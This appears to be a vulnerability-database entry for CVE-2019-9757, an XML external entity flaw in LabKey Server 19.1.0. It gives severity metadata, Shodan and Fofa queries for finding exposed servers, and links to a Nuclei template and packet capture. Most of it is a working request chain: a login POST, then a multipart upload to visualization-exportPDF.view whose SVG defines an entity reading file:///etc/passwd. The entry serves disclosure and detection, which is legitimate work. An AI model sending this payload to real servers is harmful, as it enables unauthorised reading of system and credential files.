| Title | LabKey Server 19.1.0 - XML External Entity (XXE) |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Attackers can read arbitrary local files on the server, potentially leading to information disclosure. |
| Remediation | Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities. |
| CVSS Score | 7.5 |
| EPSS Score | 0.86103 |
| CVE ID | CVE-2019-9757 |
| CWE ID | CWE-611 |
| Shodan Query | title:"LabKey" |
| Fofa Query | title="LabKey" |
| Tags | cve cve2019 labkey xxe authenticated vuln |
An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
GET /labkey/home/project-begin.view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /home/login-loginApi.api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 65
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-LABKEY-CSRF: 8bPjbF
Accept-Encoding: gzip
remember=on&email=gi7PSI&password=vtSF2z&approvedTermsOfUse=false
POST /labkey/home/visualization-exportPDF.view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 625
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Accept-Encoding: gzip
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="X-LABKEY-CSRF"
8bPjbF
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="svg"
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="15" fill="red">&xxe;</text>
</svg>
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="title"
test
-----------------------------735323031399963166993862150--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9757.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9757.pcap
N/AN/A